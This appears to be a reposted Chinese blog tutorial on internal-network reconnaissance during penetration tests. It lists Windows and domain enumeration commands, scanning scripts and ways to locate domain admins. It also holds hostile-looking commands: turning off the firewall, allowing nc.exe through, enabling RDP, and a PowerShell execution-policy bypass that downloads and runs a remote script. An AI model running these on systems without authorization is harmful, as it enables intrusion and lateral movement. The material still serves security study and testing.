内网渗透测试-内网信息搜集

内网信息搜集


一、概述

进入内网后,需要先判断以下两个方面:
1、我是谁:本机在域内的角色
2、这是哪:本机当前所在的网络环境的拓扑结构
3、我在哪:本机在内网环境中所处的位置

二、收集本机信息

1、查询网络配置信息:

ipconfig /all
在这里插入图片描述

2、查询操作系统及软件的信息

(1)查询操作系统和版本信息

systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
在这里插入图片描述

(2)查看系统体系结构

echo %PROCESSOR_ARCHITECTURE%
在这里插入图片描述

(3)查看安装的软件及版本、路径等

wmic product get name,version
在这里插入图片描述
powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name,version"
在这里插入图片描述

3、查询本机服务信息

wmic service list brief
在这里插入图片描述

4、查询进程列表

tasklist
在这里插入图片描述

5、查询进程对应服务

tasklist /svc
在这里插入图片描述
wmic process list brief
在这里插入图片描述

6、查看启动程序信息

wmic startup get command,caption
在这里插入图片描述

7、查看计划任务

schtasks /query /fo LIST /v
在这里插入图片描述

8、查看主机开机时间

net statistics workstation
在这里插入图片描述

9、查询用户列表

net user
在这里插入图片描述

10、获取本地管理员信息

net localgroup administrators
在这里插入图片描述

11、查看当前在线用户

query user || qwinsta
在这里插入图片描述

12、列出或断开本地计算机与所连接的客户端之间的对话

net session
在这里插入图片描述

13、查询端口列表

netstat -ano
在这里插入图片描述

14、查看补丁列表

systeminfo | findstr /c:"修补程序"
在这里插入图片描述
wmic qfe get Caption,Description,HotFixID,InstalledOn
在这里插入图片描述

15、查询本机共享列表

net share
在这里插入图片描述
wmic share get name,path,status
在这里插入图片描述

16、查询路由表及所有可用的ARP缓存表

route print
arp -a
在这里插入图片描述
在这里插入图片描述

17、查询防火墙相关配置

(1)关闭防火墙

windows server 2003及之前:
netsh firewall set opmode disable
windows server 2003之后:
netsh advfirewall set allprofiles state off

(2)查看防火墙配置

netsh firewall show config
在这里插入图片描述

(3)修改防火墙配置

windows server 2003及之前的版本允许指定程序全部链接:
netsh firewall add allowdprogram c:\nc.exe "allow nc" enable
windows server 2003之后:
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="c:\nc.exe"
允许指定程序退出
netsh advfirewall firewall add rule name="allow nc" dir=out action=allow program="c:\nc.exe"
允许3389端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

(4)自定义防火墙存储位置

netsh advfirewall set currentprofile logging filename "c:\windows\temp\fw.log"

18、查看代理配置情况

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
在这里插入图片描述

19、查询并开启远程连接服务

(1)查看远程连接端口:

reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
在这里插入图片描述

(2)在windows server 2003中开启3389端口

wmic path win32_terminalservicesetting where (__CLASS !="") call

(3)在windows server 2008和2012中开启3389端口

wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

20、自动搜集信息脚本

for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"

wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
wmic USERACCOUNT list full /format:"%var%" >> out.html
wmic group list full /format:"%var%" >> out.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html
wmic netuse list full /format:"%var%" >> out.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html

在这里插入图片描述

21、查询当前权限

(1)查看当前权限

whoami
在这里插入图片描述

(2)获取域SID

whoami /all
在这里插入图片描述

(3)查询指定用户的详细信息

net user xxx /domain

22、判断是否存在域

(1)使用ipconfig命令

ipconfig /all
若存在域,则有主DNS后缀
在这里插入图片描述
通过
nslookup DNS后缀来解析域名的IP地址

(2)查看系统详细信息

systeminfo
在这里插入图片描述

(3)查询当前登录域及登录用户信息

net config workstation,可以看到,当工作站域为WORKGROUP时为非域环境
在这里插入图片描述

(4)判断主域

net time /domain(域服务器通常会同时作为时间服务器使用)
不存在域,当前环境为工作组
在这里插入图片描述
存在域,但当前用户不是域用户,则会发生系统错误 5。,若存在域则会显示出时间。

23、探测域内存活主机

(1)利用NetBIOS快速探测内网

NetBIOS是计算机的标识名,主要用于局域网中计算机的互访,其工作流程是正常的机器名解析查询应答的过程。nbtscan是一个用于扫描本地或远程TCP/IP网络上开放的NetBIOS名称服务器。
利用NetBIOS快速探测内网:
nbt.exe 10.101.17.12/24
在这里插入图片描述

Token 含义
SHARING 该机器中存在正在运行的文件和打印共享服务,但不一定有内容共享
DC 该机器可能是域控制器
U=USER 该机器中有登录名为User的用户(不太准确)
IIS 该机器中可能安装可IIS服务器
EXCHANGE 该机器中可能安装了Exchange
NOTES 该机器中可能安装了Lotus Notes电子邮件客户端
? 没有识别出该机器的NetBIOS资源(可以使用-F再次扫描)

(2)利用ICMP快速探测内网

使用循环命令探测整个C段:
for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.101.171.%I | findstr "TTL="
在这里插入图片描述
使用vbs脚本进行探测:

strSubNet = "10.101.17." 
Set objFSO= CreateObject("Scripting.FileSystemObject") 
Set objTS = objfso.CreateTextFile("C:\Windows\Temp\Result.txt")  
For i = 1 To 254 
strComputer = strSubNet & i 
blnResult = Ping(strComputer) 
If blnResult = True Then 
objTS.WriteLine strComputer & " is alive ! :) " 
End If
 Next  
 
objTS.Close 
WScript.Echo " All Ping scan, All Done!) "   
Function Ping(strComputer) 
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2") 
Set colItems = objWMIService.ExecQuery("Select * From Win32_PingStatus Where Address='" & strComputer & "'") 
For Each objItem In colItems 
Select case objItem.StatusCode 
Case 0 
Ping = True 
Case Else 
Ping = False 
End select 
Exit For 
Next 
End Function 

cscript.exe .\icmp.vbs
在这里插入图片描述

(3)通过arp来扫描探测内网

  • arpscan
    arp.exe -t 10.101.17.0/24
    在这里插入图片描述
  • Empire中的
    usemodule situational_awareness/network/arpscan
  • Nishang中的Invoke-ARPScan.ps1:
    powershell -exec bypass -Command "& {Import-Module C:\Users\Administrator\Desktop\Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR 10.101.17.0/24}" >> C:\Users\Administrator\Desktop\Result.txt
    在这里插入图片描述

(4)通过常规TCP/UDP端口扫描探测内网

ScanLine是一款经典的端口扫描工具,可在windows下运行,支持TCP/UDP扫描
scanline.exe -h -t 22,80-89,110,389,1099,1433,2059,6379,7001,8080,1521,3306,3389,5432 -u 53,161,137,139 -O C:\Users\Administrator\Desktop\log.txt -p 10.101.17.1-254
在这里插入图片描述

24、扫描域内端口

(1)利用telnet命令进行扫描

在这里插入图片描述

(2)metasploit端口扫描

使用auxiliary/scanner/portscan/tcp
在这里插入图片描述

(3)PowerSploit的Invoke-Portscan.ps1脚本进行无文件形式扫描

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:\user\administrator\desktop\res.txt"

(4)Nishang的Invoke-Portscan模块

 - StartAddress:起始地址
 - EndAddress:结束地址
 - ScanPort:进行端口扫描
 - Port:指定扫描端口
 - Timeout:设置超时时间

使用以下命令进行搜索存活主机并解析主机域名
Invoke-PortScan -StartAddress 192.168.1.1 -EndAddress 192.168.1.3 -ResolveHost

(5)使用Python开发的工具扫描端口及获取banner信息

import optparse
from socket import *
from threading import *
screenlock = Semaphore(value=1)
def Scan(targetHost, targetPort):
    try:
        simplesocket = socket(AF_INET, SOCK_STREAM)
        simplesocket.connect((targetHost, targetPort))
        simplesocket.send('scanscan\r\n'.encode())
        results = simplesocket.recv(100)
        screenlock.acquire()
        print('[+] %d/tcp open'% targetPort+' '+str(results))
    except:
        screenlock.acquire()
    finally:
        screenlock.release()
        simplesocket.close()
def portScan(targetHost):
    try:
        targetIP = gethostbyname(targetHost)
    except:
        print("[-] Cannot resolve '%s': Unknown host"%targetHost)
        return
    try:
        targetname = gethostbyaddr(targetIP)
        print("\n[+] Scan Results for: "+targetname[0])
    except:
        print("\n[+] Scan Results for: "+targetIP)
    setdefaulttimeout(1)
    for targetPort in range(1,100):
        t = Thread(target=Scan, args=(targetHost, int(targetPort)))
        t.start()
def main():
    parser = optparse.OptionParser('%prog '+'-H <target host>')
    parser.add_option('-H', dest='targetHost', type='string', help='specify target host')
    (options, args) = parser.parse_args()
    targetHost = options.targetHost
    if (targetHost == None):
        print(parser.usage)
        exit(0)
    portScan(targetHost)
if  (__name__ == "__main__"):
    main()

在这里插入图片描述
附端口banner信息表:
文件共享服务端口

端口号 端口说明 使用说明
21、22、69 FTP/TFTP文件传输协议 允许匿名的上传、下载爆破和嗅探操作
2049 NFS服务 配置不当
139 SAMBA服务 爆破、未授权访问、远程代码执行
389 LDAP目录访问协议 注入、允许匿名访问、弱口令

远程连接服务端口

端口号 端口说明 使用说明
22 SSH远程连接 爆破、SSH隧道及内网代理转发、文件传输
23 Telnet远程连接 爆破、嗅探、弱口令
3389 RDP远程桌面连接 Shift后门(Windows Server 2003以下版本)、爆破
5900 VNC 弱口令爆破
5632 PcAnywhere服务 抓取密码、代码执行
80、443、8080 常见的Web服务端口 Web攻击、爆破、对应服务器版本漏洞
7001、7002 Weblogic控制台 Java反序列化、弱口令
8080、8089 JBoss/Resin/Jetty/Jenkins 反序列化、控制台弱口令
9090 WebSphere控制台 Java反序列化、弱口令
4848 GlassFish控制台 弱口令
1352 Lotus Domino邮件服务 弱口令、信息泄露、爆破
10000 webmin控制面板 弱口令

数据库服务端口

端口号 端口说明 使用说明
3306 MySQL数据库 注入、提权、爆破
1433 MSSQL数据库 注入、提权、SA弱口令、爆破
1521 Oracle数据库 TNS爆破、注入、反弹Shell
5432 PostgreSQL数据库 爆破、注入、弱口令
27017、27018 MongoDB数据库 爆破、未授权访问
6379 Redis数据库 未授权访问、弱口令
5000 Sysbase/DB2数据库 爆破、注入

邮件服务器端口

端口号 端口说明 使用说明
25 SMTP邮件服务 邮件伪造
110 POP3协议 爆破、嗅探
143 IMAP协议 爆破

网络常见协议端口

端口号 端口说明 使用说明
53 DNS域名系统 允许区域传送、DNS劫持、缓存投毒、欺骗
67、68 DHCP服务 劫持、欺骗
161 SNMP协议 爆破、搜集目标内网信息

特殊服务端口

端口号 端口说明 使用说明
2181 ZooKeeper服务 未授权访问
8069 Zabbix服务 远程执行、SQL注入
9200、9300 Elasticsearch服务 远程执行
11211 Memchached服务 未授权访问
512、513、514 Linux rexec服务 爆破、远程登录
873 rsync服务 匿名访问、文件上传
3690 SVN服务 svn泄露、未授权访问
50000 SAP Management Console 远程执行

25、收集域内基础信息

(1)查询域

net view /domain
在这里插入图片描述

(2)查询域内所有计算机

net view /domain:HACKER
在这里插入图片描述

(3)查询域内所有用户组列表(域控可用)

net group /domain
在这里插入图片描述

(4)查询所有域成员计算机列表

net group "domain computers" /domain
在这里插入图片描述

(5)获取域密码设置规则

net accounts /domain
在这里插入图片描述

(6)获取域信任信息

nltest /domain_trusts
在这里插入图片描述

26、查找域控制器

(1)查看域控制器的计算机名

nltest /DCLIST:hacker
在这里插入图片描述

(2)查看域控制器的主机名(非域控使用)

Nslookup -type=SRV_ldap._tcp
在这里插入图片描述

(3)查看当前时间,在通常情况下,时间服务器为主域控制器

net time /domain
在这里插入图片描述

(4)查看域控制器组

在实际情况中,一个域内一般存在两台或以上的域控制器,其目的是:一旦主域控制器发生故障,备用的域控制器可以保证域内的服务和验证工作正常运行
net group "domain controllers" /domain
在这里插入图片描述
netdom query pdc可以看到域控制器
在这里插入图片描述

27、获取域内用户和管理员信息

(1)向域控制器进行查询

net user /domain
在这里插入图片描述

(2)获取域内用户的详细信息

wmic useraccount get /all
在这里插入图片描述

(3)查看存在用户

dsquery user
在这里插入图片描述
常用的dsquery命令如下表:

常用的dsquery命令 作用
dsquery computer 查找目录中的计算机
dsquery contact 查找目录中的联系人
dsquery subnet 查找目录
dsquery group 查找目录中的组
dsquery ou 查找目录中的组织单位
dsquery site 查找目录中的站点
dsquery server 查找目录中的AD DC/LDS实例
dsquery user 查找目录中的用户
dsquery quota 查找目录中的配额规定
dsquery partition 查找目录中的分区
dsquery * 用通用的LDAP查询来查找目录中的任何对象

(4)查询本地管理员组用户

net localgroup admistrators
在这里插入图片描述

(5)查询所有域用户列表

①、查询域管理员用户

net group "domain admins" /domain
在这里插入图片描述

②、查询管理员用户组

net group "Enterprise Admins" /domain
在这里插入图片描述

28、定位域管理员

(1)域管理员定位概述

定位域管理员的常规方法是通过日志或会话,日志是本地机器的管理员日志,可以使用脚本或Wevtutil工具导出并查看。会话是指域内每台机器的登录会话,可以使用netsess.exe或PowerView等工具查询(可以匿名查询,不需要权限)

(2)常用的域管理员定位工具

①、psloggedon.exe

在Windows上可以执行net session来查看谁使用了本机资源,但是没有命令可用来查看谁在使用了远程计算机资源,谁登陆了远程计算机资源,使用psloggedon可以解决这一问题。psloggedon会搜索网上邻居中的计算机,并显示用户是否登录,其原理是通过检查注册表HKEY_USERS项的key值来查询谁登陆过(需要调用NetSessionEnum API),但某些功能需要管理员权限才能使用。
psloggedon [- ] [-l] [-x] [\\computername | username]

参数 描述
显示支持的选项和用于输出值的度量单位。
-l 仅显示本地登录,而不显示本地和网络资源登录。
-X 不显示登录时间。
\computername 指定要为其列出登录信息的计算机的名称。
username 如果指定用户名,则PsLoggedOn将在网络中搜索该用户已登录的计算机。如果要确保要更改特定用户的用户配置文件时未登录该用

②、PVEFindADUser.exe

用于查找活动目录用户登录位置,枚举域用户,查找在特定计算机上登录的用户,包括本地用户,通过RDP登录的用户,用于运行服务和计划任务的用户。运行该工具需要.NET Framework2.0环境,并且具备管理员权限。
PVEFindADUser.exe --current
在这里插入图片描述

③、netview.exe

https://github.com/mubix/netview
使用WinAPI枚举系统,利用NetSessionEnum找寻登录会话,利用NetShareEnum找寻共享,利用NetWkstaUserEnum枚举登录的用户。大部分功能不需要管理员权限。

参数 描述
-h 显示此帮助菜单
-f filename.txt 指定一个文件以从中提取主机列表
-e filename.txt 指定要排除的主机名文件
-o filename.txt 输出到文件而不是STDOUT
-d domain 指定要从中拉出主机列表的域,如果未指定,则使用当前域
-g group 指定用于用户搜寻的组名,如果未指定,则使用“域管理员”
-c 检查找到的共享以进行读取访问

④、Nmap的NSE脚本

https://svn.nmap.org/nmap/scripts/smb-enum-sessions.nse

⑤、PowerView脚本(常用)

powershell -exec bypass -Command"& {Import-Module c:\powerview.ps1; Invoke-UserHunter}"
在这里插入图片描述

⑥、Empire的user_hunter模块

在这里插入图片描述

29、查找域管理进程

(1)本机检查

①、获取域管理员列表

net group "Domain Admins" /domain
在这里插入图片描述

②、列出本机的所有进程及进程用户

tasklist -v
在这里插入图片描述

(2)查询域控制器的域用户会话

①、查询域控制器列表

net group "Domain Controllers" /domain
在这里插入图片描述

②、收集域管理员列表

net group "Domain Admins" /domain

③、收集所有活动域的会话列表

NetSess.exe -h
在这里插入图片描述

④、交叉引用域管理员列表与活动会话列表

这里可以使用GDA工具来完成
https://github.com/nullbind/Other-Projects/tree/master/GDA

(3)查询远程系统中运行的任务

收集域管理员列表后,将目标域系统添加到ips.txt中,将收集的域管理员添加到names.txt中,运行如下脚本:
for /F %i in (ips.txt) do @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL >output.txt && for /F %n in (names.txt) do @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i &&pause
在这里插入图片描述
output.txt
在这里插入图片描述

(4)扫描远程系统的NetBIOS信息

扫描远程系统活跃域中的管理会话的脚本:
for /F %i in (ips.txt) do @echo [+]Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && for /F %n in (names.txt) do @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
在这里插入图片描述

30、利用PowerShell收集域信息

Powershell的四种权限

  • Restricted:默认设置,不允许执行任何脚本。
  • Allsigned:只能运行经过证书验证的脚本。
  • Unrestircted:权限最高,允许执行任何脚本。
  • RemoteSigned:对本地脚本不进行限制,对来自网络的脚本必须验证其签名。
    输入Get-ExecutionPolicy查看权限
    在这里插入图片描述
    输入Set-ExecutionPolicy UnRestricted修改权限
    在这里插入图片描述
    PowerView是一款依赖PowerShell和WMI对内网进行查询的常用渗透测试脚本,集成在PowerSploit中,地址如下:
    https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
    Import-Module .\PowerView.ps1导入脚本
    在这里插入图片描述
    PowerView的常用命令如下:
  • Get-NetDomain:获取当前用户所在的域。
  • Get-NetUser:获取所有用户的详细信息。
  • Get-NetDomainController:获取所有域控制器的信息。
  • Get-NetComputer:获取域内所有机器的详细信息。
  • Get-NetOU:获取域中的OU信息。
  • Get-NetGroup:获取所有域内组成员的信息。
  • Get-NetFileServer:根据SPN获取当前域使用的文件服务器信息。
  • Get-NetShare:获取当前域内所有的网络共享信息。
  • Get-NetSession:获取指定服务器的会话。
  • Get-NetRDPSession:获取指定服务器的远程连接。
  • Get-NetProcess:获取远程主机的进程。
  • Get-UserEvent:获取指定用户的日志。
  • Get-ADObject:获取活动目录的对象。
  • Get-NetGPO:获取域内所有的组策略对象。
  • Get-DomainPolicy:获取域默认策略或域控制器策略。
  • Invoke-UserHunter:获取域用户登录的计算机信息及该用户是否有本地管理员权限。
  • Invoke-ProcessHunter:通过查询域内所有的机器进程找到特定用户。
  • Invoke-UserEventHunter:根据用户日志查询某域用户登录过哪些机器。

猜你喜欢

转载自blog.csdn.net/weixin_44047795/article/details/109189488